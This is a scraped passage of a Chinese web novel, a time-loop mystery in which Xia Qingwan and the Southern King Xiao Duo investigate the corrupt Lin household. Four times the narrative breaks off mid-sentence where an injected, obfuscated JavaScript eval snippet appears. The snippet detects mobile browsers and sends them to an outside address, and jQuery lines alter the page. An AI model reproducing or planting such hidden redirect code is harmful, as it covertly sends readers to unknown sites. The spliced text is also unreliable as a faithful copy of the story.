;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596187|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五郎那柄闪着寒光的长剑,剑刃已从她的胸口透胸而过
“......”
她用尽最后一丝力气,艰难地回过头。
萧夺脸上挂着无辜的神情,唯有一双眼睛,透出嘲讽的笑意。
你这个&%¥()¥M%&
.......
.......
夏晴宛一把推开房门,站在她旁边的侍卫震撼得睁大眼睛,仿佛看到了什么妖魔现世。
她就在侍卫瞪大的瞳孔中冷脸大步走进,萧夺将剑放回剑架,淡然出声:“吃什么?”
气是要撒的,饭也是要吃的,夏晴宛冷冷道:“面条。”
萧夺叫来小二,要了两碗面条。
重新坐下后,夏晴宛心里怨气已经淡化许多,她郁闷地说:“你能不能好好调查?”
“我没有好好调查么?”
“你有么?”
“......好吧,我会再努力一点。”
夏晴宛总觉得他话中有话。
两人正在吃早饭,萧夺那位文士走了进来,萧夺先他一步道:
“先生放心,我此行只为探听虚实,并非贸然行动。”
那文士眼中闪过一道失望,很快收敛,转向夏晴宛道:“这位姑娘是?”
萧夺还欲开口,夏晴宛狠狠瞪了他一眼,扭头冲着文士清浅一笑,回道:“在下夏晴宛。”
“原来是夏姑娘......”他表情踌躇,似乎还在思索二人关系。
萧夺无意与他解释这个只有“两日之交”的女子关系,随口道:“没事你出去吧。”
文士妥帖地行礼退出。
夏晴宛将目光收回,又转到萧夺身上。
萧夺:“想问就问。”
夏晴宛不客气地说:“据闻南王身旁有一谋士足智多谋,屡出奇策,可是方才那位?”
萧夺颔首。
“哎呀,那可是个顶顶聪明的人,要是让他加入我们的调查队伍就好了,不是能事半功倍!”
萧夺冷冷道:“你不要想趁机将事情扩大,这两日就是我给你的底线,你能无限循环这两日,我就陪你在这两日中调查,除此以外,再无其他。”
夏晴宛看出他的决心,撇撇嘴,不再劝说。
吃完饭,两人再次上路。之前对林家的调查只进行到一半,姑且还是将重心放在林家上。萧夺熟门熟路地上了茶楼,设计林七郎,大摇大摆走进林府。
夏晴宛紧随其后回了林府,一如上次,刚进大门便碰见了管家,身后跟着那两个模样略显轻浮的嬷嬷。夏晴宛的目光扫过两人白皙光滑,保养得宜的手,猛地想起偷听到的大伯与王家家主关于“送女儿”的密谋。
那一瞬间,她了然了这两个嬷嬷的真实目的,一股寒意夹杂着恶心涌上心头。
她强压下不适,只对管家匆匆点了点头,便快步朝自己偏僻的院落走去,全然不理睬身后管家疑惑的呼唤。
回到冷清的小院,夏晴宛心绪难平,此时已经中午,她胡乱吃了点东西,正准备前往萧夺的院子寻他,萧夺先她一步踏进了院中。
上一回,这个时间后他们跟踪了林家大郎,发现了他包养外室并密谋毒害发妻的丑事。虽然此事令人愤慨,但于当前调查主线似乎并无大用。
两人简短商议后,决定依旧分头行动:萧夺负责探查林府男丁,夏晴宛则利用身份之便,从女眷入手。
12. 男女密会
和萧夺分开后,夏晴宛还略有几分迷茫,恰巧看见大伯母身旁贴身丫鬟领着五姐姐往她院子走。
她正愁没有头绪,左右大伯母身为当家主母,要顺序也该轮到和她接触了。夏晴宛吸了一口气,朝着主院走去。
抬头望着眼前这处象征着林府内宅权力的院落,夏晴宛才惊觉,这似乎是自己入府以来,第二次主动踏足这里。她定了定神,抬步跨入。
甫一入门,福伯便迎了上来:“表姑娘安好。”
夏晴宛微微垂首,唇角含着恰到好处的浅笑,声音轻柔温婉:
“福伯,我听闻五姐姐回府了,左右闲着无事,便想着来给大伯母请个安,也好和五姐姐说说话。”
她在林府向来低调,主要活动范围仅限于自己的小院和老太太处,偶尔去姐妹房中坐坐,但主动来寻当家主母闲聊,却是破天荒头一遭。福伯闻言,眼中掠过一丝诧异,但还是恭敬道:
“表姑娘稍候,容老奴进去通传。”
不多时,大伯母身边的大丫鬟便笑着出来引她进去。屋内,大伯母正与女儿林曦薇说着话,见到夏晴宛,脸上露出恰到好处的客气笑容:
“表姑娘今儿怎么兴致这么好,有空来我屋里串门了?”
夏晴宛规规矩矩地福了一礼,声音温软:“给大伯母请安。今天天气好,又听闻五姐姐回来了,便想来凑个热闹,陪大伯母和姐姐说说话。”
“那正好,我们还觉着人少说话不够热闹呢。”大伯母笑着招呼她坐下,又命丫鬟重新上了茶点和热茶。
夏晴宛今日打定主意要主动些,坐下后便问道:“方才我进来时,听得不甚分明,大伯母和五姐姐正聊到什么有趣的事了?”
林曦薇接过话头,柔声道:“正说我今早去慈恩寺进香的事,我请了一位精通医理的大师过府。爹爹的头疼病一直不见好,母亲也常念叨腰不舒服,还有祖母虽则硬朗,毕竟年事已高,便想着请大师一并瞧瞧,求个安心。”
“这是正理,五姐姐真是有心了。”
夏晴宛想起那个男子说的五姐姐从好些年前就一直救济贫苦人家的事,心中对她印象愈发得好了,忍不住叹道:
“姐姐模样生得这般美,更是温柔贤惠,五姐夫能娶到姐姐,真是天大的福气。”
林曦薇被她说得脸颊微红,羞涩地垂下眼帘。
大伯母听了这话,不由得多看了夏晴宛两眼,心下奇怪这平日沉默寡言的表姑娘今日怎地如此嘴甜开朗。但见她神情真挚,语气恳切,夸的又是自己女儿,心里终究是受用的,便不由多说了几句:
“曦薇和文瑾是打小一处长大的情分,文瑾那孩子待曦薇也是真心实意,你们俩能成婚,我是再满意不过的。就是……”
“就是”后面的话,她没再说下去,但屋内三人都心知肚明。
若是平常,夏晴宛绝不会如此唐突,但“两天之后世界重置”的魔力实在太大,夏晴宛完全不顾众人讶异目光,直接问:
“五姐姐,你身子是怎么回事,可是哪里不好?”
大伯母闻言,嘴角的笑容收敛了些,轻轻抿了抿唇。
林曦薇抬起头,露出一丝苦涩的笑意:“是我自己不好。还在闺中时,常随母亲去慈恩寺小住祈福。有一年冬天,我贪玩跑出去,不慎失足跌进了结冰的池塘里,虽被及时救起,却因此落下了寒症。”
“哎呀!”夏晴宛忍不住低呼:“那平日可会觉得不适?尤其是来潮时,可难受?”
林曦薇:“这些年汤药不断,月事时倒也不算太难熬,只是难以受孕。”
天下做母亲的,无不希望女儿在生育方面能顺顺当当,平日里利落能干的大伯母都面露哀愁。屋内一时陷入了短暂的沉默。
恰在此时,丫鬟在门外通报:“少夫人来了。”
夏晴宛抬头望去,只见林家大郎的正妻,大夫人款步走了进来。林家大郎和五姑娘都是大伯母亲生,这婆媳平日关系还算亲近。
大夫人进屋见到夏晴宛,脸上露出几分惊讶,笑道:“今儿是什么风,把表姑娘也吹到母亲这儿来了?”
夏晴宛硬着头皮回:“……东南风。”
“……哈哈哈。”大夫人被这生硬的回答逗笑了:“表姑娘也懂得开玩笑了,姑娘家家的,活泼些挺好。”
“......”
众人重新落座后,林曦薇让丫鬟取出一个包裹,递给大夫人:“嫂嫂,这是我向大师求来的安神药,你吃吃看,有没有用。”
夏晴宛心中一动,问道:“嫂嫂是身子不爽利么?”
大夫人身旁丫鬟接过包裹,叹了口气道:“也不知怎么了,这些日子总是头疼,浑身懒懒的,打不起精神。”
夏晴宛心头猛地一沉,这症状,不正与那日偷听到的大少爷下毒之事对上了么?她强压下心惊,追问道:“这般不适……是从何时开始的?
“约莫有个把月了吧。”大夫人回想了一下答道。
时间完全对得上!
夏晴宛几乎可以肯定这就是中毒的迹象。她看着大夫人那浑然不觉的模样,心中怒火翻腾,将那位人面兽心的大少爷在心里痛骂了一百遍,凌迟处死了一千次!
余下的时间,便都在药草方子和些家长里短的闲话中度过。见怎么都扯不到“家破人亡”的关键信息,夏晴宛开始心不在焉,频频走神。好不容易等到众人结束了谈话,她便如蒙大赦般,迫不及待地站起身来告辞。
大伯母和大夫人几人看着她的背影,心里都生出一个疑惑:
表姑娘,今个儿是怎么了?
——
因着上回在竹林被七姑娘撞见的教训,两人约定每次分头行动后,便在夏晴宛那处偏僻的院落汇合。
夏晴宛回到小院时,只见萧夺早已坐在院中石桌旁,不知从何处弄来的茶,指节分明的手掌托着一只素白瓷杯,杯中茶烟袅袅,一副悠然姿态。
见她回来,萧夺眼皮都未抬,只淡淡问道:“查到了什么?”
“......”
夏晴宛眼珠子转了圈:
“呃,黄芪配枸杞煎汤,能补气提神。若是心烦难眠,还可加些合欢皮与酸枣仁,有宁心安神之效。”
萧持杯的手微微一顿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596188|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,抬眸看她,沉默。
“......”
夏晴宛默默低下头,声如蚊蚋:“对不起。”
萧夺这才将目光收回,凉凉道:“算了,本来就没指望过你。”
说着,他从袖中取出两本册子,随意丢在石桌上。
夏晴宛一看那熟悉的账本封皮就觉头疼:“你怎么又把账本带出来了?”
萧夺挑眉,一副“是又如何”的神情。
夏晴宛无奈,只得拿起账本翻阅。这一看,更是心惊肉跳。一本账本详细记录着二伯父在外赌博欠下的巨额债务,另一本则是三伯父收受各方贿赂的明细,时间、人物、金额,一清二楚。
萧夺冷嗤一声,语带讥讽:“你们林家老二这输钱的速度,倒比老三捞钱的本事还大,真是有能耐。”
夏晴宛:重点是这个吗?
萧夺睨了一眼面色发紧的夏晴宛,淡然道:“像你们这等人家,收受贿赂、人情往来,不过是寻常事。这账上所涉官职不高不低,并非核心人物,动摇不了根本。仅凭这些,还算不上什么‘滔天大罪’。”
夏晴宛略有些讶异地看向他,沉吟片刻,试探着开口:
“或许……我们林家,这棵盘根错节的大树,也并非从根须到枝叶都烂透了吧?””
“自然,大少爷伙同外室、毒害发妻,此等行径丧尽天良,天理难容;大伯父卖女求荣,表面光鲜内里龌龊,亦令人齿冷。”
“可林家枝繁叶茂数百口人,好坏掺杂,大多数人或许德行有失,但也不至于到无药可救的地步吧?”
萧夺沉默不语,过了少顷,他冷笑一声,说道:
“或许,是还没查出来而已。”
......
......
两人从院中出来时已经是日落时分。漫天云霞宛若上好的绸缎,层层叠叠铺陈天际,晚风穿林而过,卷起早秋初寒,漫漫竹叶香混着泥土湿润气息。
夏晴宛与萧夺正经过竹林边缘,便瞧见一个熟悉的身影,七姑娘正提着一席藕荷色的裙摆,步履匆匆,裙摆下露出的绣鞋沾了些泥点,显然走得急切。她频频回头张望,神色紧张得像受惊的鹿,见四周无人,便迅速闪身钻进了竹林深处,身影很快被茂密的竹影吞没。
“又是她?”
夏晴宛压低声音,眸含沉思:“说起来上一回她也来了竹林,还是一个人来的......”
大户人家的姑娘出行,身边总有丫鬟仆妇跟随,哪有像七姑娘这样,特意抛开随从,在傍晚时分孤身跑到这僻静竹林的道理?
“走,我们跟上去看看!”
萧夺未置可否,但脚步已随着她悄然移动。两人借着渐浓的暮色与层层叠叠的竹影掩护,悄无声息地靠近。
只见略等少许后,一个衣着朴素的年轻男子从竹林另一头走来,七姑娘瞧见他,紧绷的神色瞬间松缓,脸上露出欣喜,提着裙摆快步跑上前,与男子紧紧相拥在一起。
萧夺默默转向夏晴宛,那眼神,夏晴宛读得懂,他在说:
你们林家,就尽搞这些男男女女的事了么?
13. 新的线索
夏晴宛沉默片刻,无视萧夺眼中讥讽,重新转向林中二人。
那男子约莫十七八岁,身形挺拔,面容清俊,夏晴宛一眼认出,他是林府管家的儿子余少齐。
七姑娘伏在情郎肩头,单薄的肩膀因哭泣而微微颤抖,声音带着绝望的哽咽:
“……爹爹和伯父他们已经定了主意,要将我们几个还未许人的姐妹当作讨好南王的礼物送出去!”
“那南王杀人如麻,冷血残暴,脸上终日戴着玄铁面具,据说是因为幼时遭遇大火,容貌尽毁,形同修罗恶鬼。我……我宁可死,也绝不入那虎狼之穴!”
情郎连声安慰她。
夏晴宛表情瞬间变得有几分古怪,她偷偷用眼角余光去瞟身旁的“南王”。
却见这位被描绘得如同地狱罗刹的“南王”大人,正懒散地倚着一株老竹,脸上非但没有半分愠怒,反而唇角微勾,似笑非笑。
这时,余少齐双手紧紧握住七姑娘的手,语气急促而坚定:“曦雁,我们私奔吧!就今晚,我们私奔吧!!”
“今晚?如此仓促?”七姑娘抬起泪眼朦胧的脸,满是惊愕与犹豫。
“不能再拖了!”余少齐的声音压得更低,仿佛怕被人听去了:
“我听我爹说了,南王大军已兵临潼关城下,破关指日可待!待到京城被围,便是插翅难飞!今夜亥时,我们还在此处会合,我带你远走高飞!”
七姑娘望着情郎眼中决绝的光芒,又想起那可怕的命运,最终银牙一咬,眼中闪过破釜沉舟的决意:“好!我信你!亥时,我必定前来!”
两人又紧紧相拥,互诉了几句衷肠,这才依依不舍地、一先一后悄然离去。
竹林里彻底安静下来,只剩下风吹竹叶的沙沙声。夏晴宛站在萧夺身侧,看着他那张在暮色中晦明不清的侧脸,心情复杂得如同打翻了五味瓶,一时竟不知该从何说起。
半晌,还是萧夺先开口。
“还挺有骨气的。”
“你觉得他们有骨气?”夏晴宛又是诧异又是欣喜。
“难道不是么?比起卖女求荣的林家老大,至少他女儿比他有骨气多了。”
夏晴宛听他这么说,心中颇是欣慰,又忍不住担忧:“那你说,他们能成功——”
她猛然想起了一点,当初自己提前几日逃走,都逃不出萧夺的魔爪,如今这对苦命鸳鸯竟想在破城前夜私奔,简直是痴人说梦!
“那个......”她颤颤巍巍问道:
“你……对城外驻扎的军队,下了何种指令?”
萧夺饶有兴味地侧首看她,唇边勾起一抹饱含恶意的弧度,语气平淡却字字森寒:
“凡四大家族之人,有出逃者,格杀勿论。”
“......”
夏晴宛发出头疼的声音。
萧夺“安慰”:“别担心,能重来的。”
重来个屁,假如奇迹不再发生,纵使四大家族其余人得以苟全,这对决心挣脱牢笼的眷侣,也注定要血溅私奔路!
萧夺看出她心头翻涌情绪,十分大度地说:“那你去告诉她,让她不要私奔不就好了。”
夏晴宛看着他一副置身事外的局外人模样,气得人都笑了出来。
“行。”她道:“左右这回不可能是最后一回,今晚他们死就死吧!”
萧夺:“嗯,你没意见就好。”
“......”
夜色渐深,两人吃了晚饭后,在各自屋中歇息。
至亥时将近,便又悄然来到竹林。
余少齐与七姑娘林曦雁的身影窸窸窣窣地出现在竹林深处。两人匆匆汇合,便依着早已谋划好的路线,朝着府邸偏僻的后门疾步而去。他们的身影很快被浓重的夜色吞没,只留下渐行渐远的脚步声。
夏晴宛望着他们消失的方向,很想说一句“一路平安”,但想到结局早已注定,就觉得如鲠在喉,干脆不想了。
萧夺侧首看她一眼,语气平淡:“今夜我尚有他事,你自行回去歇息。明日卯时,在你院中汇合。”
夏晴宛点了点头,独自返回小院。躺在熟悉的床榻上,四周万籁俱寂,不必忧惧明日的腥风血雨,不必算计每一步的生死存亡,这大概是她陷入这无尽轮回以来,睡得最为踏实深沉的一夜。
一夜好眠。
——
第二日,夏晴宛早早便醒了。
推开窗,清晨的空气清新柔和,带着露水与泥土的气息。她深深吸了一口气,竟生出一种劫后余生般的恍惚喜悦。
见萧夺还未过来,她信步走出小院,想去花园走走。刚走近园子,便听得里头传来阵阵喧哗。她心头一紧,第一反应是七姑娘私奔之事东窗事发。但转念一想,即便事发,以大伯父爱惜颜面的性子,也断不会容许这等丑闻张扬开来。
她定睛望去,只见竟是二伯母与二伯父一位妾室吵了起来。二伯母性子泼辣,旁人等闲不敢招惹,对丈夫的几房妾室更是严苛。
但在看清和她对吵的姨娘面孔后,夏晴宛便明白了缘由。
和她吵架的余姨娘是管家的亲妹妹,当初管家还是和善王府一名普通侍卫,余姨娘是王府丫鬟。一回二伯父去王府做客,与这余姨娘看对了眼,管家便随着妹妹一同陪嫁来了林府。凭借精明能干,逐渐成了林老爷的心腹,这余姨娘自然也水涨船高,在府中颇有几分底气,并不十分惧怕二伯母。
此刻,余姨娘正叉着腰,嗓门响亮地嚷嚷:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596189|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是正房太太又怎样?占着窝不下蛋,生不出儿子,生一窝丫头片子有什么用!如今天下大乱,女儿家都是赔钱货,还当自己是金尊玉贵的娇姑娘呢?上头老爷们定了章程,叫你如何便如何,少在这儿摆你那正房太太的谱儿,卖弄风骚也没人瞧!”
二伯母何曾受过妾室如此顶撞,气得脸色发青,浑身发抖,指着余姨娘破口大骂,两人你来我往,吵得越发不堪入耳。
“这是在做什么?”
萧夺低沉的嗓音毫无预兆地自身后响起,夏晴宛吓得浑身一颤,抚着心口回头,连连道:
“你走路都没声的么?吓死我了。”
萧夺对她的抱怨不置可否,目光淡漠地扫过不远处那两个吵得面红耳赤的女人,显然毫无兴趣。
“聒噪,走了。”
两人正欲转身离开,却被这场喧哗引来的林七郎撞个正着。林七郎见到萧夺与夏晴宛站在一起,脸上露出明显的诧异:“恩公?您怎会和晴宛妹妹在一处?你们认识么?”
萧夺面色如常,语气平淡无波:“不认识,听闻院中喧哗,过来查看,恰巧遇到而已。”
“原来如此。”林七郎脸上泛起窘迫的红晕,连忙拱手:“家宅不宁,让恩公见笑了。”
“无妨。”萧夺微微颔首:“既无大事,我便回去用早点了。”
“恩公留步!”林七郎急忙跟上几步,热切地道:“晚辈正好也未曾用早点,不如一同前往?也好向前辈请教些武学上的问题。”
萧夺这边被林七郎缠住,夏晴宛自然不便再跟去。她又在原地待了片刻,想着也回院子吧,正要转身,余光瞥见林二郎从外面回来。
他似乎一夜宿在外边,面容带着几分倦容,见着花园里吵吵嚷嚷的人,面上流过嫌恶神色。这时他仆从也从院子里出来,手忙脚乱地替他拍打着衣袍上沾染的泥泞。
不对——!
一道灵光如闪电般劈入夏晴宛的脑海!
林二郎昨夜分明该是在软红阁寻欢作乐,那等地方,怎会弄得一身泥巴?更何况他此刻的神情,绝非宿醉酣眠后的慵懒,更像是彻夜未眠的疲惫与紧张。
他昨晚一定出去了!去做了别的事!
是他,原来,是他!
夏晴宛猛地一个急转身,裙裾翻飞,几乎是踩着凌乱的步子疾冲过去,一把拽住萧夺的手腕,也顾不上礼节,冲着错愕的林七郎急声道:
“七哥,对不住!人先借我一会!”
话音未落,她已拽着萧夺转身就跑,两人的身影很快掠过竹林边缘,只留下一阵急促的脚步声渐渐远去。
林七郎看着眼前这突兀的一幕,张了张嘴,一时竟不知该作何反应。
“……啊?”
14. 又被杀了
夏晴宛一路紧攥着萧夺的手腕,几乎是拖着他跑回了自己那处偏僻小院。直到冲进院门,她才猛地停下脚步,双手撑着膝盖,胸口剧烈起伏,大口大口地喘着气,脸颊因急促的奔跑染上两团明显的红晕。
萧夺垂眸,视线落在自己刚刚被她紧紧握住的手腕上,那处皮肤似乎还残留着不属于他的温热与力道。他慢条斯理地将手收回,另一只手的指腹若有似无地在那腕上按了按,仿佛要拂去什么痕迹,这才抬眼看她,语气听不出情绪:
“所以,你不顾礼数地将我拉来,所为何事?”
夏晴宛这会儿气息稍匀,抬起头,眼中闪着急切而明亮的光,急声道:“是二哥!他昨夜分明该在软红阁,可他今早回来时,衣摆沾着泥泞,面色疲惫,绝不像是在温柔乡里宿醉一夜的模样!他肯定还去了别处!”
萧夺闻言,眼中掠过一丝思索之色,并未立刻反驳,只问:“那你待如何?”
“自然是去查他昨晚究竟做了什么!”夏晴宛答得毫不犹豫。
萧夺饶有兴味地打量着她:“你就不怕,真查出来你家这位二郎,做了什么十恶不赦的勾当?”
夏晴宛挺直脊背,目光坦荡:“对就是对,错就是错!若他真行了恶事,我却因同姓而包庇遮掩,那我良心难安,夜里都睡不踏实!”
对于这番掷地有声的宣言,萧夺只是轻嗤一声,评价道:“天真。”
话虽如此,调查却势在必行。首要之事,便是确认林二郎昨夜是否离开过软红阁,以及离开的准确时辰。
两人当即前往软红阁。此刻正是大早上,阁内一片静寂,姑娘嬷嬷们都在补觉。妈妈正在做梦,梦见自己躺在金子打造的床榻上,满目望去,皆是金色,而年轻健壮的仆人正穿着透明的纱衣从床的四周膝行着围上来......
一个女子粗暴地将她摇醒:
“醒醒,快醒醒,我问你,林家二郎昨夜是何时离开的?”
妈妈睡眼惺忪,脑子尚不清醒,下意识地道:“二、二公子?我不清楚,昨儿个是玲珑伺候的……”
“玲珑在哪?她的房间在何处?!”
妈妈此时渐渐清醒,正欲发作,质问来人身份,一锭黄澄澄的金子已递至眼前。她瞬间又不清醒了。
“玲珑……玲珑的房间……”
夏晴宛找到玲珑时,这位姑娘同样睡得正沉,也同样如妈妈般因美梦被搅而不悦,亦同样在银子下消散了不悦。
她老实交代:“二公子昨晚确是在我房里待过,但只听了两曲琵琶,约莫亥时不到便起身离开了。”
所以昨天晚上,林二郎果然去了别的地方!
夏晴宛恍恍惚惚地从软红阁里出来。
她心中有一种直觉:林二郎昨晚绝对不是干好事去了。
她有些羞恼地道:“要是昨天晚上盯着他就好了,两次都因他去青楼遗漏了他。”
“又要浪费两天时间!”
“其实......”萧夺扭头盯着夏晴宛,目光若有所思:“也不一定要浪费。”
“......”
一个不好的预感冲上心头,夏晴宛猛然扭头:“你别想——”
她的话还是太迟了,一把剑已经穿过了她的胸口。
她踉跄着倒退几步,耳边传来行人刺耳的尖叫声,嘴唇艰难蠕动——
你个王——
——
夏晴宛一脚踹开房门,木门撞在墙上发出“哐当”巨响,惊得一旁侍卫目瞪口呆。她冷着脸,目不斜视地跨进房间,径直走到萧夺面前。
“能麻烦你——”她咬着后槽牙,每个字都像从冰碴里挤出来:“不要随随便便就对人动刀子么?”
萧夺抬眸,神色平淡得像在讨论天气:“哦,你说不想浪费两天时间。你看,现在不就只浪费了一天?”
夏晴宛扯出一个皮笑肉不笑的表情:“那我还得谢谢你了?”
“那就不必了。”萧夺从善如流。
一阵短暂的沉默在空气中凝固。
片刻后,萧夺打破寂静,仿佛刚才的争执从未发生:“吃什么?”
夏晴宛深吸一口气,压下心头翻涌的火气,闷声道:“馄饨。”
两人用完早饭,便带着四名侍卫动身前往京城。路上,他们简单商议,既然对林家的调查已大致清楚,此行便不再寄居林府。
“不住林家,我们住哪里?”夏晴宛问道。
萧夺目视前方,语气平淡:“我自有安排。”
两人马上骑行,通过城门,七拐八绕地驶入一条清静的街道,最终停在一座外观毫不显眼的宅邸前。灰瓦白墙,木门上铜环泛着温润的包浆,瞧着与寻常民居并无二致
夏晴宛仰头,看到门牌上“湖心小居”四个墨字。才明白他所谓的“安排”是什么,原来萧夺早已在京城置办了产业。想想也是,他这般身份,怎会缺少落脚之处。
宅门开启,里面仅有寥寥数名仆从安静地打理着庭院,夏晴宛不由得仔细打量起来。这院子十分阔朗,青砖铺地,格局大气疏朗,不见过多繁复装饰,唯有几株苍劲的古树和点缀其间的石景,透出一种不显山露水的沉稳。
这时,那位曾直接或间接导致夏晴宛“重生”数次的侍卫看向她,脸上带着些许迟疑,恭敬地问道:“主子,这位姑娘……安排在何处下榻?”
夏晴宛连忙摆手解释:“你误会了,我不住这里……”
那侍卫反而露出困惑的神情:“姑娘不住此处?”
不是,在你心里,我跟你主子是什么关系啊?
夏晴宛正欲再次澄清,萧夺却先开了口,语气听不出什么情绪:“带她去西院。”
他又瞥了夏晴宛一眼,道:“免得你被哪家仇人追杀时,连个躲藏的地方都没有。”
夏晴宛:“……”
至于为什么会被人追杀,这你别问!
“是!”侍卫领命,随即对夏晴宛做了个“请”的手势:“姑娘,请随我来。”
夏晴宛便不再推辞——反正如果自己被追杀,十有八九也是萧夺害的!
两人一前一后走在院中,夏晴宛数次抬头看着走在自己前方的男人。说起来,自己与眼前这位侍卫也算“老熟人”了,毕竟死在他手上好几回,但却从未说过话。
夏晴宛按捺不住好奇,问道:“还不知如何称呼?”
侍卫步伐稳健,侧首答道:“在下彭识恶。”
“彭识恶……”夏晴宛低声念了两遍这个名字,忽然脑中灵光一闪,她猛地停住脚步,失声惊道:“你……你和勇将军彭家……?”
彭识恶面色不变,坦然点头:“是,在下是彭家后裔。”
夏晴宛不由愕然。
彭家一事,天下皆知。
勇将军彭家,乃是本朝赫赫有名的将门世家。初代勇将军曾追随太祖皇帝东征西讨,每战必身先士卒,勇冠三军,故
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602973|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得太祖亲赐“勇”字为号。
然当今圣上沉溺酒色,疏于朝政,致使纲纪废弛。更有贵妃恃宠而骄,其外戚党羽把持权柄,祸乱朝纲。期间并非没有忠直之臣屡次上奏,恳请陛下亲贤臣、远小人,以振朝纲,可惜这些谏言皆如石沉大海,未能唤醒圣心。
后来,贵妃母家族人竟公然霸占百姓良田,强抢民女,险些闹出人命。彭老将军得知此事,悲愤交加,遂亲率亲兵包围国丈府邸,意欲擒拿首恶,以清君侧。岂料他尚未行动,消息已然走漏。
贵妃抢先一步,在陛下枕边进尽谗言,罗织罪名,诬陷家父拥兵自重,结党营私,意图谋反。
随后,禁军在彭府之中搜出私藏兵甲百余具。陛下便以此为由,下旨以谋逆大罪论处,将彭氏满门抄斩,诛连九族。
这桩惊天血案,在当时可谓举国震动,天下无人不晓。即便是那时还远在江南、年纪尚幼的夏晴宛都听说过一二。
“当日我侥幸逃走,才免得一死,在我穷途末路之时,是将军给了我一条生路。”
这句话他说得平淡,却重若千钧。
夏晴宛怔在原地,终于明白了他名字的含义——识恶,识尽人间至恶。
怪不得他会如此死心塌地地追随在萧夺身边。这不仅是救命之恩,更是沉沦的血海深仇,唯一可能的复仇之路。
因这桩往事,一路之上,夏晴宛都不好再开口。
入城安顿好已近午时,略作休整后,萧夺与夏晴宛便出门用膳。行至一处街口,忽闻前方传来一阵喧哗声,夹杂着人群的议论。两人循声望去,只见一名僧人正蹲在地上为一名面色痛苦的中年男子诊脉。
僧人以三指探脉,指尖在寸、关、尺三处穴位上轻轻推移,时而凝神细察,时而闭目沉吟,围观人群指指点点,口中说着:
“不愧是慈恩寺的大师。”
路旁停着两顶轿子,其中一顶轿子的帘布被一只素手掀开,露出一张关切的面容。夏晴宛和她目光对上,行礼:“五姐姐安好。”
她想起来,之前在林府,这位五姐姐确实提过从慈恩寺请了一位精通医术的大师回府。她顺势问道:“这位大师,可是五姐姐请下山的?”
林曦薇微微颔首,柔声道:“正是,府中一位嬷嬷……”
她话音未落,旁边另一顶轿子里骤然传出一道苍老却极为严厉的声音:“曦薇!”
轿帘被风吹开一角,隐约露出一张布满皱纹、神色肃穆的老妇人的脸,正是周家老太君。林曦薇闻声,脸色微变,立刻噤声,垂下了眼帘。
这位周家老太君,夏晴宛是知晓的。老人家常年礼佛,深居简出,对儿孙辈管教极严,是位再传统不过的封建大家长,最重规矩体统。
夏晴宛不欲给五姐姐惹麻烦,便寻了个由头,很快走开了。
等到了饭店,夏晴宛让萧夺自己点菜,萧夺抬眸扫了眼墙上挂着的木质水牌,眉头微蹙,脸上毫不掩饰地浮起一抹嫌弃。
不是,你还挑起来了?
夏晴宛道:“这可是京城,天下美食汇聚之所,你想吃什么尽管点便是。”
萧夺:“我想吃辣的。”
夏晴宛:“那没有,京城人不食辣。”
萧夺的脸色顿时沉了下来,语气郁郁:“那你还说什么都有?”
“......”夏晴宛被怼得哑口无言,默默低下头,盯着眼前的茶杯腹诽:
这人可真难伺候。